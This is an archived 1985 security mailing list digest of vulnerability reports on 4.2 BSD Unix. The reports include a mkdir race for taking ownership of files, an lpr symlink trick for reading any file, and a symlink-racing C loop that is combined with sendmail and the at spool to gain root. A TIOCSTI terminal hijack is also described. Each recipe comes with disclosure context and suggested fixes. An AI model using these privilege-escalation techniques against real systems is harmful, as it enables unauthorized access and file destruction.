Date: 27 Jan 1985 1937-MST (Sunday) Subject: Security Mail List, # 4 From: hao!seismo!tardis!root Date: Sat, 19 Jan 85 16:21:31 EST Message-Id: <8501192121.AA16534@seismo.ARPA> *** The MKDIR Bug *** This is a manifestation of a very deep problem. It is an example only (but a very unpleasant example). Vax 4.2 people are immune to the example, but not to simple extensions... Consider the following: % mkdir foo ^Z Stopped (you stop the process between the time it makes the node and the time it chowns it to you; not hard to do) % rmdir foo ...some gripe about .. or . % ln file_I_want foo % fg As if by magic, you own the target file, which could just as well be /etc/passwd or what have you. So much for security... FIXES: This problem is not be easily fixed. 4.2 solves it by putting mkdir into the kernel; but the window of uncertainty exists in other programs that first check a file name and then act upon it. A first attempt might be to have mkdir ignore all signals. This is a good start, but only makes it a little more difficult. Next, you might arrange to have the process set its nice to -20 to avoid concurrent process attacks. Finally, try moving the chown in mkdir to after the link of dot, and chown dot instead of the pathname. Good Luck Dan Lanciani ...!{seismo,harvard,wjh12}!tardis!ddl ddl@tardis.ARPA - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Date: Mon, 21 Jan 85 14:43:45 est From: allegra!seismo!harvard!dbr (Douglas Robinson) Subject: 4.2 problems Lyle: The following three nasties are some I just couldn't send to the net. The best are #'s 1 and 3. I consider 'swapon' to be just a poor judgement on the part of the implementers - it should be 'super user only'. Doug Robinson Jobs don't kill programmers... programmers kill jobs! Cybermation, Inc. 617/492-8810 377 Putnam Avenue Cambridge, MA 02139 (USA) ...!{mit-eddie, harvard, mirror}!cybvax0!dbr ------------------------------------------------------------- DATE: 22 June 1984 RE: Security Breach Made Easy #1 (Anomaly #10) PRIORITY: EXTREMELY URGENT The security of the UNIX O/S maintains that users who do not have sufficient permissions to access specific files will not be allowed to do so. A very quick and EASY method to get around this security now exists. The following may be done by any user to obtain a listing of ANY SOURCE FILE ON A 4.2 BSD SYSTEM! Merely create the following command file: lpr x rm x ln -s /ANYPATH/ANYFILE x If any line printer queue exists at all, and if the user knows the complete pathname of the file s/he wants printed, the line printer spooler daemon will print it for her/him! This problem with symbolic links is even more detrimental to the security and health of the O/S. If a program owned by root runs frequently and produces temporary files in a known directory (such as /tmp) then the ANY file in the system can be destroyed (or ANY file can be created). All that need be done is to anticipate the file name of the temporary file and create a symbolic link by that name to any file the user wishes to destroy (say /etc/passwd). Most root jobs that create temporary files use the library routine 'mktemp' to create the name for such temporary files; but the name chosen by this routine is very predictable (you only need know the PID of the root job creating the file). This routine is supposed to create a 'unique' file name and does so by insuring that no file by that name already exists; but the file is not opened immediately. The 'mktemp' routine passes back a file name that did not exist WHEN IT CHECKED; all the user must do is write a program such as the following to get around the mechanizations of 'mktemp': main() { while (1) { symlink( "ANYPATH", "THEOBVIOUSMKTEMPFILENAME" ) ; unlink( "THEOBVIOUSMKTEMPFILENAME" ) ; } } The use of this bug is even easier if the root executable creating the file uses a fixed, standard name (e.g. an unsuspecting root user may use the 'split' program on a specific output file in /tmp in his/her shell script thus creating an easy opening for someone intent on subterfuge). This bug not only allows the destruction/creation of ANY file ANYWHERE in the file system, but also can be used to give 'super-user' priviledge to a devious user. The procedure is as follows: 1. The user must find a 'root' owned executable that produces 'root' owned temporary files that is also runable by the user. ( For example, the command: /usr/lib/sendmail -oem -odi bad < /etc/motd When run will attempt to send /etc/motd to nonexistant user 'bad'. When it fails, it will be required to return the mail to the user who sent it. A file owned by 'root', dependent directly on the 'umask' of the person running it will appear as '/tmp/ma$$'. ). 2. The user then changes his 'umask' to 0. 3. Using the above program executing in background with (e.g.) 'ANYPATH=/usr/spool/at/84.187.2000.54', execute the 'root' owned executable. 4. When the file '/usr/spool/at/?' is created, it will have protection mode 0666 allowing ANYONE to edit it; therefore, edit the file placing ANY commands wanted executed in it. When 'at' runs this command file it will do so as a 'super-user' since the owner of this file is 'root'. NOTE: Temporary files are normally unlinked when the processing involved is through. When the unlink system call is made, THE SYMBOLIC LINK (the cause of the whole trouble) is removed; NOT the file that it points at! Thus all evidence of 'who done it' is removed! One solution to this problem is to create an open call that does NOT follow symbolic links, and then fix all standard executables (in /bin, /usr/bin, /usr/ucb, /etc, ...) to use this special open. Whatever course is chosen, implementation of the fix should be done ASAP and distributed to all sites. This bug jepardizes ANY security arrangement you could care to mention. PLEASE take appropriate action. HELP! ------------------------------------------------------------------------ DATE: 5 July 1984 RE: 'swapon' 4.2 BSD system call (Anomaly #011) PRIORITY: MEDIUM The 'swapon' system call to the 4.2 BSD UNIX O/S should require root priviledge. It currently does not (it can be called by anyone and they need NOT have any access abilities to the special device node at all). Please take appropriate action. -------------------------------------------------------------------- DATE: 5 July 1984 RE: Security Breach Made Easy #2 (Anomaly #012) PRIORITY: EXTREMELY URGENT Overview: The TIOCSTI 'ioctl' call may be combined with the 'at' command in a way to effectively take over the terminal of ANY user. This scheme may easily be used to take over the terminal of a 'root' user and effectively breach ANY security. The only way to stop this is to set your '/dev/tty??' protection mode to 0600, thereby removing any chance of terminal to terminal communication (not a very elegent solution). Ingredients: - The normal protection modes for terminal nodes are 0622. - If a process does not have a control terminal, then the first terminal that it 'open''s becomes the control terminal. - In the TIOCSTI 'ioctl' call, the first argument is "the argument terminal, which must be the control terminal except for the super-user". - When the 'at' facility executes a program there is NO control terminal given since 'at' is executed by 'cron' who was initially executed by the 'init' process. Stir Together: 1. type: at TIME # replace TIME with a resonable time force /dev/tty?? /dev/tty?? ^D sleep 1000000 # so input not confused 2. Program force does the following: A. 'open''s its second argument with whichever of the flags { O_RDWR, O_RDONLY, O_WRONLY } succeeds (try all three!). This terminal is now the control terminal (call it CTTY)! B. 'open''s its first argument with O_RDWR (no problem since the process UID and terminal UID are the same). This is now the terminal in control (call it TTYC). C. Change the tty mode to be (RAW | ECHO) so that any character may be used to command the CTTY. D. Input characters from TTYC and 'ioctl' them using IOCSTI to CTTY. 3. The person on TTYC may now type anything s/he wants and the system will gladly interpret it as if the person on CTTY had typed it. If the person on CTTY was a super-user, the person on TTYC may do anything from the almost undetectable to the very painful! Conclusion: This is one of the nastiest UNIX bugs seen to date. Security becomes single level - if you have an account and password, you own the system. HELP! Please take appropriate action (VERY QUICKLY, PLEASE!). - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Date: Fri, 18 Jan 85 13:17:18 pst From: ihnp4!fortune!hpda!hpdsa!davel (Dave Lennert) Subject: setuid shell script security I'd be interested if anyone knows what the security problem is with suid shell scripts that is discussed below. (I assume it only effects 4.2bsd or systems with #! magic numbers where exec() can execute a script.) Dave Lennert ...{ucbvax, hplabs}!hpda!davel [UUCP] Hewlett-Packard - ISO hpda!davel@ucb-vax.ARPA [ARPA] 11000 Wolfe Road (408) 257-7000 [AT&T] Cupertino, CA 95014 157-2923 [HP-TELNET] /***** hpdsa:net.unix / log-hb!hans / 11:45 am Jan 13, 1985*/ Subject: Re: 2 shell questions before the new year In article <7173@brl-tgr.ARPA> gwyn@brl-tgr.ARPA (Doug Gwyn ) writes: >> Unless you've fixed your kernel, if you have setuid shell scripts you >> have a security hole. Don't send me mail asking what it is. > >One should be careful for ANY security-related code to check for >loopholes. This means, in C code, argc == 0, PATH=funny_places, >signals in critical places, fd 0, 1, and/or 2 not opened, etc. >For shell scripts, one should ALWAYS set PATH=wherever and if >security-critical set IFS=standard_whitespace and catch traps. Well, do all of that, and still do NOT use any set-uid shell scripts. I had the bug demonstrated privately, and believe me, you should NOT permit setuid shell scripts. Ever. Period. No amount of defensive programming helps. A fix may or may not be available at a later date, they tell me. I have NO idea how that will be distributed, if ever. Or by whom. I've got it, I think ( hope? ), but won't spill. -- Hans Albertsson, USENET/uucp: {decvax,philabs}!mcvax!enea!log-hb!hans Real World: TeleLOGIC AB, Box 1001, S-14901 Nynashamn,SWEDEN /* ---------- */